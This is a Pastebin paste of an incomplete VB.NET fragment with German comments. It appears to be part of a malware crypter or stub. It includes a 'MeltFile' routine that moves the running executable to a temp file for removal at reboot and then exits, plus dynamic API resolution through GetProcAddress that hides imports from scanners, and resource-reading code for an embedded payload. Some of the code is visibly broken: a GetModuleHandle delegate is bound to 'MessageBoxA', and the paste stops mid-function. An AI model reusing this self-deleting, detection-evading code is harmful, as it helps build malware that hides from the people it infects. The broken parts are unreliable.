Advertisement
Guest User

Untitled

a guest
Sep 26th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.44 KB | None | 0 0
  1.     'Ressourcen
  2.     'Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal moduleName As String) As IntPtr
  3.     'Private Declare Function SizeofResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As Integer
  4.     'Private Declare Function LoadResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
  5.     'Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
  6.     'Melt File
  7.     Private Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
  8.     Private Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
  9.    
  10.     <DllImport("kernel32.dll", SetLastError:=True)> _
  11.     Public Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType As String) As IntPtr
  12.     End Function
  13.    
  14.     Delegate Function GetModuleHandle(ByVal moduleName As String) As IntPtr
  15.     Delegate Function SizeofResource(ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
  16.     Delegate Function LoadResource(ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
  17.     Delegate Function GetModuleFileName(ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
  18.    
  19.     Declare Function LoadLibraryA Lib "kernel32" (ByVal name As String) As IntPtr
  20.     Declare Function GetProcAddress Lib "kernel32" (ByVal handle As IntPtr, ByVal name As String) As IntPtr
  21.     'Dynamische API
  22.     Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T
  23.     Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(name), method), GetType(T)), Object), T)
  24.     End Function
  25.    
  26.     Public Sub MeltFile()
  27.         MoveFile(Left(System.AppDomain.CurrentDomain.BaseDirectory, GetModuleFileName(0, System.AppDomain.CurrentDomain.BaseDirectory, 256)), System.IO.Path.GetTempPath + "\tmpG" + Date.Now.Millisecond.ToString + ".tmp", 8)
  28.         ExitProcess(0)
  29.     End Sub
  30.    
  31.     Public Function ReadResource(ByVal filename As String) As Byte()
  32.         Dim fickmodule As GetModuleHandle = CreateAPI(Of GetModuleHandle)("kernel32", "MessageBoxA")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement